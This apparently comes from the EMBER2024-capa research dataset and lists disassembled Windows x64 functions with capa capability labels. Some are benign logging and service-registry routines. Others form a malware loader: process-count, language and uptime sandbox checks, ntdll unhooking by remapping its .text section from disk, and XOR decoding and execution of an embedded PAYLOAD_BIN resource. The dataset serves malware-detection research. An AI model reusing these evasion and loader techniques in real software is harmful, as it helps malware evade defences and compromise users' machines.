joyce8/EMBER2024-capa huggingface dataset:
Function at 0x7ff66a845e70
Capabilities:
Create directory

Disassembly:
sub rsp, 0x28
mov rax, qword [0x7ff66a896030]
test rax, rax
jne 0x7ff66a845f3d
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x20], rdi
call fcn.7ff66a840dd0
or r8, 0xffffffffffffffff
mov rbx, rax
mov rcx, r8
nop dword [rax]
cmp word [rax + rcx*2 + 2], 0
lea rcx, [rcx + 1]
jne 0x7ff66a845ea0
lea edi, [rcx + 6]
mov eax, 2
mul rdi
cmovo rax, r8
mov rcx, rax
call fcn.7ff66a8536bc
mov qword [0x7ff66a896030], rax
test rax, rax
je 0x7ff66a845f1b
mov r9, rbx
lea r8, str._sLogs
mov edx, edi
mov rcx, rax
call fcn.7ff66a838140
mov rcx, qword [0x7ff66a896030]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x7ff66a845f2c
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x7ff66a845f2c
lea rcx, str.GetAgentLogDirPath:_cannot_create_agent_logs_directory__n
call fcn.7ff66a8466b0
mov rcx, qword [0x7ff66a896030]
call fcn.7ff66a850e84
mov rbx, qword [rsp + 0x30]
xor eax, eax
mov rdi, qword [rsp + 0x20]
add rsp, 0x28
ret
mov rax, qword [0x7ff66a896030]
mov rbx, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x20]
add rsp, 0x28
ret

Function at 0x7ff66a8460c0
Capabilities:
Get file size
Write file on windows

Disassembly:
push rbx
sub rsp, 0x50
mov rax, qword [0x7ff66a893088]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov rbx, rcx
test rcx, rcx
je 0x7ff66a8461a4
mov rcx, qword [0x7ff66a893bb0]
cmp rcx, 0xffffffffffffffff
je 0x7ff66a8460f4
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r9d, r9d
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov rcx, rbx
mov dword [rsp + 0x20], 2
lea edx, [r9 + 4]
lea r8d, [r9 + 7]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [0x7ff66a893bb0], rax
cmp rax, 0xffffffffffffffff
jne 0x7ff66a846162
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8, rbx
lea rdx, str.ServiceLogInitInternal
mov r9d, eax
lea rcx, str._s:_unable_to_create_log_file__s__error__d__n
call fcn.7ff66a8466b0
xor al, al
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.7ff66a8489f0
add rsp, 0x50
pop rbx
ret
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
test eax, eax
jne 0x7ff66a8461a4
mov rcx, qword [0x7ff66a893bb0]
lea r9, [rsp + 0x44]
lea r8d, [rax + 2]
mov dword [rsp + 0x44], 2
lea rdx, [rsp + 0x40]
mov word [rsp + 0x40], 0xfeff
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov al, 1
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.7ff66a8489f0
add rsp, 0x50
pop rbx
ret
Function at 0x7ff66a8461c0
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0xc0
mov rax, qword [0x7ff66a893088]
xor rax, rsp
mov qword [rsp + 0xb0], rax
mov rbx, qword [0x7ff66a893bb0]
lea rcx, [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
movzx ecx, word [rsp + 0x64]
movzx edx, word [rsp + 0x62]
movzx r8d, word [rsp + 0x60]
movzx eax, word [rsp + 0x66]
movzx r10d, word [rsp + 0x5e]
movzx r11d, word [rsp + 0x5a]
movzx r9d, word [rsp + 0x58]
mov dword [rsp + 0x48], eax
mov dword [rsp + 0x40], ecx
lea rcx, [rsp + 0x70]
mov dword [rsp + 0x38], edx
mov edx, 0x20
mov dword [rsp + 0x30], r8d
lea r8, str.__04u__02u__02u__02u:_02u:_02u._03u_UTC_
mov dword [rsp + 0x28], r10d
mov dword [rsp + 0x20], r11d
call fcn.7ff66a838140
add eax, eax
mov qword [rsp + 0x20], 0
mov r8d, eax
mov dword [rsp + 0x50], eax
lea r9, [rsp + 0x50]
mov rcx, rbx
lea rdx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.7ff66a8489f0
add rsp, 0xc0
pop rbx
ret
Function at 0x7ff66a846510
Capabilities:
Print debug messages
Write file on windows

Disassembly:
push rsi
sub rsp, 0x50
mov rax, qword [0x7ff66a893088]
xor rax, rsp
mov qword [rsp + 0x40], rax
mov eax, dword [0x7ff66a888a38]
mov rcx, rdx
mov dword [rsp + 0x34], eax
mov rsi, rdx
movzx eax, word [0x7ff66a888a3c]
mov word [rsp + 0x38], ax
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [0x7ff66a89602c], 0
jne 0x7ff66a84668f
cmp byte [0x7ff66a895f92], 0
je 0x7ff66a84657f
mov rdx, rsi
lea rcx, [0x7ff66a8882d0]
call fcn.7ff66a840560
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.7ff66a8489f0
add rsp, 0x50
pop rsi
ret
cmp qword [0x7ff66a893bb0], 0xffffffffffffffff
je 0x7ff66a84668f
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x70], rbp
mov qword [rsp + 0x78], rdi
or rdi, 0xffffffffffffffff
mov rbx, rdi
inc rbx
cmp word [rsi + rbx*2], 0
jne 0x7ff66a8465a3
mov eax, dword [0x7ff66a89603c]
xor ebp, ebp
test eax, eax
je 0x7ff66a8465c6
lea rcx, [0x7ff66a896040]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov dword [0x7ff66a89602c], 1
call fcn.7ff66a846290
mov dword [0x7ff66a89602c], ebp
call fcn.7ff66a8461c0
cmp ebx, 1
jb 0x7ff66a846605
lea edx, [rbx - 1]
cmp word [rsi + rdx*2], 0xa
jne 0x7ff66a846605
cmp ebx, 2
jb 0x7ff66a8465fe
lea eax, [rbx - 2]
cmp word [rsi + rax*2], 0xd
je 0x7ff66a846605
mov ebx, edx
mov ebp, 1
mov rcx, qword [0x7ff66a893bb0]
lea r8d, [rbx + rbx]
lea r9, [rsp + 0x30]
mov dword [rsp + 0x30], r8d
mov rdx, rsi
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rbx, qword [rsp + 0x60]
test ebp, ebp
mov rbp, qword [rsp + 0x70]
je 0x7ff66a846673
lea rax, [rsp + 0x34]
nop
inc rdi
cmp word [rax + rdi*2], 0
jne 0x7ff66a846640
mov rcx, qword [0x7ff66a893bb0]
lea r9, [rsp + 0x30]
add edi, edi
mov qword [rsp + 0x20], 0
mov r8d, edi
mov dword [rsp + 0x30], edi
lea rdx, [rsp + 0x34]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [0x7ff66a89603c]
mov rdi, qword [rsp + 0x78]
test eax, eax
je 0x7ff66a84668f
lea rcx, [0x7ff66a896040]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.7ff66a8489f0
add rsp, 0x50
pop rsi
ret
Function at 0x7ff66a846ed0
Capabilities:
Delete file
Delete registry key
Query or enumerate registry value

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x4a0
mov rax, qword [0x7ff66a893088]
xor rax, rsp
mov qword [rsp + 0x490], rax
mov rsi, rcx
mov qword [rsp + 0x40], 0
lea rcx, [rsp + 0x70]
xor edx, edx
mov r8d, 0x20a
xor dil, dil
call fcn.7ff66a84c560
mov dword [rsp + 0x50], 0x105
call fcn.7ff66a846890
mov r9, rsi
lea r8, str.RegistryMachineSystemCurrentControlSetServices_s
mov edx, 0x105
lea rcx, [rsp + 0x280]
call fcn.7ff66a838140
mov rbx, qword [0x7ff66a895f80]
mov rcx, rbx
call qword [fcn.7ff66a8391c0]
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x58]
call rbx
mov rbx, qword [0x7ff66a895f30]
mov rcx, rbx
call qword [fcn.7ff66a8391c0]
lea rcx, [rsp + 0x58]
call rbx
lea rax, [rsp + 0x40]
mov r9d, 0xf003f
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SYSTEMCurrentControlSetServices
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x7ff66a847063
mov rcx, qword [rsp + 0x40]
lea rax, [rsp + 0x48]
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov rdx, rsi
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x7ff66a846fff
mov rcx, qword [rsp + 0x48]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x28], rax
lea rdx, str.ImagePath
lea rax, [rsp + 0x70]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rsp + 0x40]
mov rdx, rsi
call qword [sym.imp.SHLWAPI.dll_SHDeleteKeyW]
test eax, eax
jne 0x7ff66a847063
mov qword [rsp + 0x30], 0
lea rcx, [rsp + 0x70]
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 3
mov edx, 0x80000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
cmp rax, 0xffffffffffffffff
je 0x7ff66a847060
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dil, 1
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x7ff66a847073
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
movzx eax, dil
mov rcx, qword [rsp + 0x490]
xor rcx, rsp
call fcn.7ff66a8489f0
lea r11, [rsp + 0x4a0]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x7ff66a853c48
Capabilities:
Parse pe header

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push r15
sub rsp, 0x20
mov esi, r8d
mov ebx, edx
mov r14d, ecx
test r8d, r8d
jne 0x7ff66a853a1c
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x7ff66a853a1c
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x7ff66a853a1c
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x7ff66a853a1c
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x7ff66a853a1c
cmp dword [rcx + 0x84], 0xe
jbe 0x7ff66a853a1c
cmp dword [rcx + 0xf8], esi
je 0x7ff66a853a1c
mov ecx, r14d
call fcn.7ff66a853b64
mov ecx, 2
call fcn.7ff66a85ba28
nop
cmp byte [0x7ff66a895118], 0
jne 0x7ff66a853ae6
mov r15d, 1
mov eax, r15d
xchg dword [0x7ff66a895108], eax
test ebx, ebx
jne 0x7ff66a853a8f
mov rdi, qword [0x7ff66a893088]
mov edx, edi
and edx, 0x3f
lea ecx, [rbx + 0x40]
sub ecx, edx
xor eax, eax
ror rax, cl
xor rax, rdi
mov rcx, qword [0x7ff66a895110]
cmp rcx, rax
je 0x7ff66a853a86
xor rdi, rcx
mov ecx, edx
ror rdi, cl
mov rcx, rdi
call qword [fcn.7ff66a8391c0]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rdi
lea rcx, [0x7ff66a895570]
jmp 0x7ff66a853a9b
cmp ebx, r15d
jne 0x7ff66a853aa1
lea rcx, [0x7ff66a895588]
call fcn.7ff66a85fce8
nop
test ebx, ebx
jne 0x7ff66a853ab8
lea rdx, [0x7ff66a873620]
lea rcx, [0x7ff66a8735f8]
call fcn.7ff66a85ffe0
lea rdx, [0x7ff66a873630]
lea rcx, [0x7ff66a873628]
call fcn.7ff66a85ffe0
movzx eax, byte [0x7ff66a895118]
test esi, esi
cmove eax, r15d
mov byte [0x7ff66a895118], al
jmp 0x7ff66a853ae6
mov ecx, 2
call fcn.7ff66a85ba88
test esi, esi
jne 0x7ff66a853afd
mov ecx, r14d
call fcn.7ff66a853b18
int3
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
mov r14, qword [rsp + 0x48]
add rsp, 0x20
pop r15
ret
xor r8d, r8d
xor edx, edx
jmp 0x7ff66a8539ac
Function at 0x1400010d0
Capabilities:
Encode data using xor

Disassembly:
push rsi
sub rsp, 0x70
mov qword [rsp + 0x50], rcx
mov rcx, rdx
mov qword [rsp + 0x48], rdx
call fcn.1400017e0
xor r8d, r8d
mov ecx, r8d
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rcx
mov rax, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x40]
mov edx, dword [rsp + 0x6c]
add edx, dword [rsp + 0x6c]
mov r8d, dword [rcx + 0xc]
mov dword [rsp + 0x6c], edx
mov edx, dword [rcx + 0x14]
mov r9d, edx
mov r10, qword [rsp + 0x48]
add r10, r9
mov edx, r8d
mov r9d, edx
mov r11, qword [rsp + 0x50]
add r11, r9
mov edx, dword [rcx + 0x10]
mov r8d, edx
mov qword [rsp + 0x30], rcx
mov rcx, r11
mov rdx, r10
mov qword [rsp + 0x28], rax
call fcn.140002a20
mov si, word [rsp + 0x5c]
xor si, word [rsp + 0x5c]
mov word [rsp + 0x5c], si
mov rax, qword [rsp + 0x28]
add rax, 1
mov rcx, qword [rsp + 0x30]
add rcx, 0x28
cmp rax, 5
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], rax
jne 0x1400010f7
mov rcx, qword [rsp + 0x48]
call fcn.140001c00
mov edx, dword [rax + 0x54]
mov r8d, edx
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x48]
call fcn.140002a20
nop
add rsp, 0x70
pop rsi
ret
Function at 0x140001430
Capabilities:
Encode data using xor

Disassembly:
rol dword [rax], cl
add byte [rax], al
sub r9b, r10b
mov byte [rsp + 0xd3], r9b
mov dword [rsp + 0x78], ecx
mov rcx, rax
mov byte [rsp + 0x77], r10b
call sub.msvcrt.dll_memset
mov rax, qword [sym.imp.USER32.dll_TrackMouseEvent]
lea rcx, [rsp + 0x98]
call rax
mov edx, 0xe6f5dc
mov ecx, edx
lea r8, [rsp + 0xb0]
mov r9b, byte [rsp + 0x77]
and r9b, 0x51
mov byte [rsp + 0xd3], r9b
mov byte [rsp + 0xd3], 0xf5
mov r11, qword [sym.imp.USER32.dll_ScreenToClient]
mov edx, 0xe6f5dc
mov esi, edx
lea rdx, [rsp + 0xb0]
mov qword [rsp + 0x68], rcx
mov rcx, rsi
mov dword [rsp + 0x64], eax
mov qword [rsp + 0x58], r8
call r11
lea rcx, [rsp + 0x7c]
lea rdx, [rsp + 0x88]
mov dword [rsp + 0x7c], 0xafa
mov r8, qword [rsp + 0xc8]
mov di, word [rsp + 0xbe]
xor di, 0xffff
mov word [rsp + 0xbe], di
xor r8, 0x3bb432f0
mov qword [rsp + 0x88], r8
mov r8, qword [sym.imp.KERNEL32.dll_QueryIdleProcessorCycleTime]
lea r11, [rsp + 0x7c]
lea rsi, [rsp + 0x88]
mov qword [rsp + 0x50], rcx
mov rcx, r11
mov qword [rsp + 0x48], rdx
mov rdx, rsi
mov dword [rsp + 0x44], eax
call r8
mov dword [rsp + 0x40], eax
call fcn.1400013a0
cmp eax, 0
je 0x14000156e
jmp 0x140001609
lea rax, [0x140004144]
mov rcx, qword [rsp + 0x80]
lea rdx, [0x140004144]
mov r8, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x38], rax
call r8
cmp rax, 0
jne 0x140001609
call fcn.1400017f0
mov dword [rsp + 0x34], eax
jmp 0x140001609
call fcn.140001050
cmp eax, 0
jne 0x140001609
lea rax, str.shell32
lea rcx, str.shell32
mov rdx, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0x28], rax
call rdx
mov rcx, qword [rsp + 0xc8]
xor rcx, 0x475face7
mov qword [rsp + 0x80], rax
mov r8b, byte [rsp + 0x77]
and r8b, 0xdc
mov byte [rsp + 0xd3], r8b
mov qword [rsp + 0x90], rcx
mov byte [rsp + 0xd3], 0x7f
mov rax, qword [rsp + 0x90]
mov r8b, 0x1d
mov r9b, byte [rsp + 0x77]
mov qword [rsp + 0x20], rax
mov al, r9b
mul r8b
mov byte [rsp + 0xd3], al
mov rcx, qword [rsp + 0x20]
cmp rcx, 0x4d7e66d
jbe 0x14000157c
jmp 0x140001531
mov qword [rsp + 0xc0], 0x33d0983c
mov eax, dword [rsp + 0xb8]
add eax, 0xbec7ecfa
add rsp, 0xd8
pop rdi
pop rsi
ret
Function at 0x14000363c
Capabilities:
Encode data using xor

Disassembly:
mov dword [rsp + 0x5c], 0
jmp 0x1400035f1
mov ax, word [rsp + 0x44]
xor ax, 0x68ed
mov word [rsp + 0x76], ax
mov rax, qword [rsp + 0xb8]
add rsp, 0xc8
pop rbx
pop rsi
ret
imul ecx, eax, 0x632e97ab
mov rdx, qword [rsp + 0x50]
cmp rdx, 0
setne r8b
mov dword [rsp + 0x70], ecx
and r8b, 1
mov byte [rsp + 0x6f], r8b
mov r9w, word [rsp + 0x44]
mov word [rsp + 0x76], r9w
mov r10, qword [rsp + 0x60]
mov qword [rsp + 0xc0], r10
jmp 0x14000367f
mov al, byte [rsp + 0x47]
or al, al
mov byte [rsp + 0x9f], al
mov rcx, qword [rsp + 0x78]
add rcx, 0xfffffffffffffff0
mov qword [rsp + 0xb8], rcx
jmp 0x14000356c
mov eax, dword [rsp + 0x5c]
mov ecx, eax
mov edx, ecx
mov r8, qword [rsp + 0x80]
mov r9w, word [r8 + rdx*2]
mov r10w, r9w
add r10w, 0xffbf
mov r11w, r9w
add r11w, 0x20
cmp r10w, 0x1a
cmovb r9w, r11w
mov r8, qword [rsp + 0x48]
cmp word [r8 + rdx*2], r9w
sete bl
and bl, 1
mov byte [rsp + 0x8f], bl
mov r10w, word [rsp + 0x44]
push rsp
and al, 0x44
xor r10w, 0xffff
mov bl, byte [rsp + 0x8f]
add eax, 1
mov ecx, dword [rsp + 0x58]
cmp r9w, 0
setne sil
and bl, sil
mov word [rsp + 0x76], r10w
cmp eax, ecx
setb sil
and bl, sil
mov dword [rsp + 0x5c], eax
test bl, 1
jne 0x1400035f1
jmp 0x140003773
movabs rax, 0x1a1e114c715c1fa2
mov rcx, qword [rsp + 0xc0]
mov qword [rsp + 0x78], rcx
mov dx, word [rsp + 0x44]
add dx, 0x4aa2
mov word [rsp + 0x76], dx
mov rcx, qword [rsp + 0x78]
mov r8d, dword [rsp + 0x2c]
xor r8d, 0x282cadb6
mov dword [rsp + 0x70], r8d
mov rcx, qword [rcx + 0x50]
mov qword [rsp + 0x90], 0x4355b145
mov qword [rsp + 0x80], rcx
mov rcx, qword [rsp + 0x78]
mov qword [rsp + 0x90], rax
mov rax, qword [rcx + 0x20]
mov byte [rsp + 0x9f], 0xe0
mov qword [rsp + 0xa0], rax
mov rax, qword [rsp + 0x30]
xor rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0xa0]
mov qword [rsp + 0x90], rax
mov rax, qword [rsp + 0x50]
cmp rcx, rax
sete r9b
mov r10b, byte [rsp + 0x6f]
mov byte [rsp + 0x9f], 0xea
mov r11b, byte [rsp + 0x47]
sub r11b, 0xaa
and r10b, r9b
mov byte [rsp + 0x9f], r11b
test r10b, 1
jne 0x1400035ce
mov qword [rsp + 0x90], 0x1975387b
mov rax, qword [rsp + 0x78]
mov cx, word [rax + 0x48]
shr cx, 1
movzx edx, cx
mov dword [rsp + 0x58], edx
cmp cx, 0
je 0x1400037f9
jmp 0x14000355f
mov rax, qword [rsp + 0xa0]
mov cl, byte [rsp + 0x8f]
mov qword [rsp + 0xb8], rax
test cl, 1
jne 0x14000356c
jmp 0x1400037f9
mov rax, qword [rsp + 0x78]
mov rcx, qword [rsp + 0xb0]
mov rax, qword [rax]
mov qword [rsp + 0xc0], rax
mov qword [rsp + 0xb8], 0
cmp rax, rcx
je 0x14000356c
jmp 0x14000367f
Function at 0x140001070
Capabilities:
Read file via mapping

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x70
mov rax, qword [0x140020008]
xor rax, rsp
mov qword [rsp + 0x68], rax
xorps xmm0, xmm0
lea rcx, str.ntdll.dll
xor eax, eax
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r9d, 0x18
lea r8, [rsp + 0x48]
mov rdx, rax
mov qword [rsp + 0x40], rax
mov rcx, 0xffffffffffffffff
mov r15, rax
call qword [sym.imp.KERNEL32.dll_K32GetModuleInformation]
mov rbp, qword [rsp + 0x48]
lea rcx, str.c:windows_system32_ntdll.dll
xor ebx, ebx
xor r9d, r9d
mov qword [rsp + 0x30], rbx
mov edx, 0x80000000
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], 3
lea r8d, [rbx + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x28], rbx
xor r9d, r9d
mov rcx, rax
mov dword [rsp + 0x20], ebx
xor edx, edx
mov r8d, 0x1000002
mov r12, rax
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
xor r9d, r9d
mov qword [rsp + 0x20], rbx
mov rcx, rax
lea edx, [rbx + 4]
xor r8d, r8d
mov r13, rax
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
movsxd rsi, dword [rbp + 0x3c]
movzx edi, bx
add rsi, rbp
mov r14, rax
cmp bx, word [rsi + 6]
jae 0x140001208
lea r8, str..text
xor r15d, r15d
nop word [rax + rax]
movzx ecx, word [rsi + 0x14]
movzx eax, di
add rcx, rsi
lea rdx, [rax + rax*4]
mov rax, r15
lea rbx, [rcx + rdx*8]
nop word [rax + rax]
movzx ecx, byte [rbx + rax + 0x18]
inc rax
cmp cl, byte [r8 + rax - 1]
jne 0x1400011f6
cmp rax, 6
jne 0x140001190
mov ecx, dword [rbx + 0x24]
lea r9, [rsp + 0x60]
mov edx, dword [rbx + 0x20]
lea r8d, [rax + 0x3a]
add rcx, rbp
mov dword [rsp + 0x60], r15d
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [rbx + 0x24]
mov r8d, dword [rbx + 0x20]
lea rdx, [rax + r14]
lea rcx, [rax + rbp]
call fcn.140003360
mov ecx, dword [rbx + 0x24]
lea r9, [rsp + 0x60]
mov edx, dword [rbx + 0x20]
add rcx, rbp
mov r8d, dword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea r8, str..text
inc di
cmp di, word [rsi + 6]
jb 0x140001170
mov r15, qword [rsp + 0x40]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
xor eax, eax
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.1400014c0
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x140001250
Capabilities:
Encode data using xor
Enumerate processes
Extract resource via kernel32 functions
Identify system language via api

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x280
mov rax, qword [0x140020008]
xor rax, rsp
mov qword [rsp + 0x270], rax
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
xor esi, esi
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x1400012dd
xor edx, edx
mov dword [rsp + 0x30], 0x238
mov r8d, 0x234
lea rcx, [rsp + 0x34]
call fcn.140002490
lea rdx, [rsp + 0x30]
mov rcx, rdi
mov ebx, esi
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x140001494
nop dword [rax]
lea rdx, [rsp + 0x30]
mov rcx, rdi
inc ebx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1400012c0
cmp ebx, 0x50
jle 0x140001494
call qword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
mov ecx, 0x3ff
and ax, cx
cmp ax, 4
jne 0x14000147d
lea rcx, str.Chinese
call fcn.140001010
call qword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, 0x36ee80
jb 0x14000149f
mov qword [rsp + 0x290], rbp
mov qword [rsp + 0x298], r14
call fcn.140001070
lea r8, str.PAYLOAD_BIN
mov edx, 0x65
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rdx, rax
xor ecx, ecx
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rdx, rbx
xor ecx, ecx
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov edx, eax
mov r9d, 4
mov r8d, 0x1000
mov ebx, eax
xor ecx, ecx
mov r14d, eax
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8d, ebx
mov rdx, rdi
mov rcx, rax
mov rbp, rax
call fcn.140003360
mov ecx, esi
test ebx, ebx
je 0x14000142d
cmp ebx, 0x40
jb 0x14000140a
movdqa xmm2, xmmword [0x14001d530]
mov eax, ebx
movdqa xmm3, xmmword [str.NNNNNNNNNNNNNNNNRRRRRRRRRRRRRRRR_]
and eax, 0xffffffc0
nop word [rax + rax]
movdqu xmm0, xmmword [rsi + rbp]
lea rsi, [rsi + 0x40]
add ecx, 0x40
movdqa xmm1, xmm2
xorps xmm1, xmm0
xorps xmm1, xmm3
movdqu xmmword [rsi + rbp - 0x40], xmm1
movdqa xmm1, xmm2
movdqu xmm0, xmmword [rsi + rbp - 0x30]
xorps xmm0, xmm2
xorps xmm0, xmm3
movdqu xmmword [rsi + rbp - 0x30], xmm0
movdqu xmm0, xmmword [rsi + rbp - 0x20]
xorps xmm1, xmm0
xorps xmm1, xmm3
movdqu xmmword [rsi + rbp - 0x20], xmm1
movdqu xmm0, xmmword [rsi + rbp - 0x10]
xorps xmm0, xmm2
xorps xmm0, xmm3
movdqu xmmword [rsi + rbp - 0x10], xmm0
cmp ecx, eax
jb 0x1400013b0
cmp ecx, ebx
jae 0x14000142d
movsxd rax, ecx
add rax, rbp
sub ebx, ecx
mov ecx, ebx
nop dword [rax + rax]
xor byte [rax], 0x1c
lea rax, [rax + 1]
sub rcx, 1
jne 0x140001420
lea r9, [rsp + 0x20]
mov r8d, 0x20
mov rdx, r14
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rbp
mov r14, qword [rsp + 0x298]
xor eax, eax
mov rbp, qword [rsp + 0x290]
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call fcn.1400014c0
lea r11, [rsp + 0x280]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
lea rcx, str.Error
call fcn.140001010
mov ecx, 1
call fcn.140005580
int3
mov ecx, 1
call fcn.140005580
int3
mov ecx, 1
call fcn.140005580
int3
Function at 0x140001d94
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001dde
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001dde
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001dde
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001dde
cmp dword [rcx + 0x84], 0xe
jbe 0x140001dde
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001de0
xor al, al
add rsp, 0x28
ret

Function at 0x140005580
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x1400053eb
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400053eb
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400053eb
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400053eb
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400053eb
cmp dword [rcx + 0x84], 0xe
jbe 0x1400053eb
cmp dword [rcx + 0xf8], 0
je 0x1400053eb
mov ecx, ebx
call fcn.14000549c
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
